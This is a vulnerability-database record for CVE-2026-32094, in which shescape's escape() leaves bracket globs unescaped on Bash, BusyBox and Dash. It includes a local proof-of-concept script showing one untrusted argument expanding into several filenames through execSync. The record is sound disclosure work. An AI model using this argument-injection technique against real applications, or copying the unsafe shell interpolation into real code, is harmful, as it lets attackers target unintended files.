{"id":"CVE-2026-32094","aliases":["GHSA-9jfh-9xrq-4vwm"],"url":"https://o3.security/vulnerability/CVE-2026-32094","summary":"Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash","details":"### Summary\n\n`Shescape#escape()` does not escape square-bracket glob syntax for Bash, BusyBox `sh`, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like `secret[12]` to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.\n\n### Details\n\nThe unquoted Unix escape helpers never add `[` or `]` to their “special characters” regexes:\n\n- `src/internal/unix/bash.js:14-30`\n- `src/internal/unix/busybox.js:14-30`\n- `src/internal/unix/dash.js:12-19`\n\nThey escape `*`/`?` but not brackets, so `new Shescape({ shell: \"/usr/bin/bash\" }).escape(\"secret[12]\")` still produces `secret[12]`. The fixtures (`test/fixtures/unix.js:2236-2265`, `3496-3525`, `5762-5792`) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends `Shescape#escape()` as the fallback for `exec` when quoting isn’t possible (`docs/recipes.md:154-183`).\n\n### Proof of Concept\n\nUse the published npm tarball without modifications:\n\n```shell\ntmp=$(mktemp -d)\ncd \"$tmp\"\nnpm pack shescape@2.1.9 >/dev/null\nmkdir pkg\ntar -xzf shescape-2.1.9.tgz -C pkg\ncd pkg/package\nnpm install --omit=dev\n\nnode --input-type=module - <<'NODE'\nimport { mkdtempSync, writeFileSync } from \"node:fs\";\nimport { tmpdir } from \"node:os\";\nimport path from \"node:path\";\nimport { execSync } from \"node:child_process\";\nimport { Shescape } from \"./src/index.js\";\n\nconst dir = mkdtempSync(path.join(tmpdir(), \"shescape-ghsa-poc-\"));\nwriteFileSync(path.join(dir, \"secret1\"), \"\");\nwriteFileSync(path.join(dir, \"secret2\"), \"\");\n\nfor (const shell of [\"/usr/bin/bash\", \"/usr/bin/dash\"]) {\n  const shescape = new Shescape({ shell });\n  const escaped = shescape.escape(\"secret[12]\");\n  console.log(${shell} escaped=${escaped});\n  const out = execSync(printf '<%s>\\\\n' ${escaped}, { cwd: dir, shell }).toString();\n  process.stdout.write(out);\n}\nNODE\n```\n\nOutput:\n\n```text\n/usr/bin/bash escaped=secret[12]\n<secret1>\n<secret2>\n/usr/bin/dash escaped=secret[12]\n<secret1>\n<secret2>\n```\n\nExpected: the shell receives `secret\\[12\\]`, so only one literal argument runs.\n\n### Impact\n\nArgument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling `Shescape#escape()` with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.","published":"2026-03-11T19:50:10.617Z","modified":"2026-10-28T02:30:55.549429377Z","cvss":null,"epss":{"score":0.00214,"percentile":0.11597,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"shescape","fixedVersion":"2.1.10"}],"fix":{"url":"https://github.com/ericcornelissen/shescape/commit/6add105c6f6b508662bb5ae3b3bdd4c9bcebf37a","label":"ericcornelissen/shescape@6add105"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32094.json"},{"type":"ADVISORY","url":"https://github.com/ericcornelissen/shescape/security/advisories/GHSA-9jfh-9xrq-4vwm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32094"},{"type":"FIX","url":"https://github.com/ericcornelissen/shescape/commit/6add105c6f6b508662bb5ae3b3bdd4c9bcebf37a"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/pull/2410"},{"type":"PACKAGE","url":"https://github.com/ericcornelissen/shescape"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:55.549429377Z"}}